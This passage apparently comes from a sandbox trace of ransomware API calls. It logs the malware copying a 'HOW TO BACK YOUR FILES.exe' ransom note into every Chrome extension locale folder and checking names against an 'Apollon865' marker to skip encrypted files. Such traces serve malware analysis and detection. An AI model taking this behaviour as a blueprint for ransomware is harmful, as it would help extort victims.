	[0048.074] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales"
	[0048.074] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.074] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.080] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.080] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34b9e050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34b9e050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.084] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.085] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.085] lstrcpyW (in: lpString1=0x2d3e666, lpString2="bg" | out: lpString1="bg") returned="bg"
	[0048.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0048.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11c) returned 0x59a248
	[0048.085] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0048.085] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8267ddb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0048.086] lstrcmpiW (lpString1="ca", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.086] lstrcmpiW (lpString1="ca", lpString2="Apollon865.txt.exe") returned 1
	[0048.086] lstrcpyW (in: lpString1=0x2d3e666, lpString2="ca" | out: lpString1="ca") returned="ca"
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11c) returned 0x59a370
	[0048.086] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0048.086] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a27a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826a27a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0048.086] lstrcmpiW (lpString1="cs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.086] lstrcmpiW (lpString1="cs", lpString2="Apollon865.txt.exe") returned 1
	[0048.086] lstrcpyW (in: lpString1=0x2d3e666, lpString2="cs" | out: lpString1="cs") returned="cs"
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11c) returned 0x59a498
	[0048.086] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0048.086] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826b1200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0048.086] lstrcmpiW (lpString1="da", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.086] lstrcmpiW (lpString1="da", lpString2="Apollon865.txt.exe") returned 1
	[0048.086] lstrcpyW (in: lpString1=0x2d3e666, lpString2="da" | out: lpString1="da") returned="da"
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11c) returned 0x5a73b0
	[0048.086] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0048.086] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826bae40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0048.086] lstrcmpiW (lpString1="de", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.086] lstrcmpiW (lpString1="de", lpString2="Apollon865.txt.exe") returned 1
	[0048.086] lstrcpyW (in: lpString1=0x2d3e666, lpString2="de" | out: lpString1="de") returned="de"
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0048.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11c) returned 0x5a74d8
	[0048.086] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0048.086] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826c7190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0048.086] lstrcmpiW (lpString1="el", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.086] lstrcmpiW (lpString1="el", lpString2="Apollon865.txt.exe") returned 1
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="el" | out: lpString1="el") returned="el"
	[0048.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0048.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11c) returned 0x5a7600
	[0048.087] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
	[0048.087] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d0dd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826d0dd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0048.087] lstrcmpiW (lpString1="en", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.087] lstrcmpiW (lpString1="en", lpString2="Apollon865.txt.exe") returned 1
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="en" | out: lpString1="en") returned="en"
	[0048.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="en_GB" | out: lpString1="en_GB") returned="en_GB"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="es" | out: lpString1="es") returned="es"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="es_419" | out: lpString1="es_419") returned="es_419"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="et" | out: lpString1="et") returned="et"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="fi" | out: lpString1="fi") returned="fi"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="fil" | out: lpString1="fil") returned="fil"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="fr" | out: lpString1="fr") returned="fr"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="hi" | out: lpString1="hi") returned="hi"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="hr" | out: lpString1="hr") returned="hr"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="hu" | out: lpString1="hu") returned="hu"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="id" | out: lpString1="id") returned="id"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="it" | out: lpString1="it") returned="it"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="ja" | out: lpString1="ja") returned="ja"
	[0048.087] lstrcpyW (in: lpString1=0x2d3e666, lpString2="ko" | out: lpString1="ko") returned="ko"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="lt" | out: lpString1="lt") returned="lt"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="lv" | out: lpString1="lv") returned="lv"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="nb" | out: lpString1="nb") returned="nb"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="nl" | out: lpString1="nl") returned="nl"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="pl" | out: lpString1="pl") returned="pl"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="pt_BR" | out: lpString1="pt_BR") returned="pt_BR"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="pt_PT" | out: lpString1="pt_PT") returned="pt_PT"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="ro" | out: lpString1="ro") returned="ro"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="ru" | out: lpString1="ru") returned="ru"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="sk" | out: lpString1="sk") returned="sk"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="sl" | out: lpString1="sl") returned="sl"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="sr" | out: lpString1="sr") returned="sr"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="sv" | out: lpString1="sv") returned="sv"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="th" | out: lpString1="th") returned="th"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="tr" | out: lpString1="tr") returned="tr"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="uk" | out: lpString1="uk") returned="uk"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="vi" | out: lpString1="vi") returned="vi"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="zh_CN" | out: lpString1="zh_CN") returned="zh_CN"
	[0048.088] lstrcpyW (in: lpString1=0x2d3e666, lpString2="zh_TW" | out: lpString1="zh_TW") returned="zh_TW"
	[0048.089] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW"
	[0048.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae090 | out: hHeap=0x580000) returned 1
	[0048.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0248 | out: hHeap=0x580000) returned 1
	[0048.089] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW") returned 144
	[0048.089] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW"
	[0048.089] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.089] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.094] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34bc41b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34bc41b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.094] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.094] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.094] lstrcpyW (in: lpString1=0x2d3e672, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.094] lstrlenW (lpString="messages.json") returned 13
	[0048.094] lstrlenW (lpString="Apollon865") returned 10
	[0048.094] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.094] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN"
	[0048.094] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5adf58 | out: hHeap=0x580000) returned 1
	[0048.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0228 | out: hHeap=0x580000) returned 1
	[0048.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN") returned 144
	[0048.095] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN"
	[0048.095] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.100] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.100] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34bea310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34bea310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.101] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.101] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.101] lstrcpyW (in: lpString1=0x2d3e672, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.101] lstrlenW (lpString="messages.json") returned 13
	[0048.101] lstrlenW (lpString="Apollon865") returned 10
	[0048.101] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.101] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi"
	[0048.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bbe50 | out: hHeap=0x580000) returned 1
	[0048.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0208 | out: hHeap=0x580000) returned 1
	[0048.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi") returned 141
	[0048.101] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi"
	[0048.101] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.101] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.105] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.105] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34bea310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34bea310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.105] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.105] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.105] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.105] lstrlenW (lpString="messages.json") returned 13
	[0048.105] lstrlenW (lpString="Apollon865") returned 10
	[0048.105] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.105] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk"
	[0048.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bbd28 | out: hHeap=0x580000) returned 1
	[0048.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01e8 | out: hHeap=0x580000) returned 1
	[0048.105] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk") returned 141
	[0048.105] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk"
	[0048.106] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
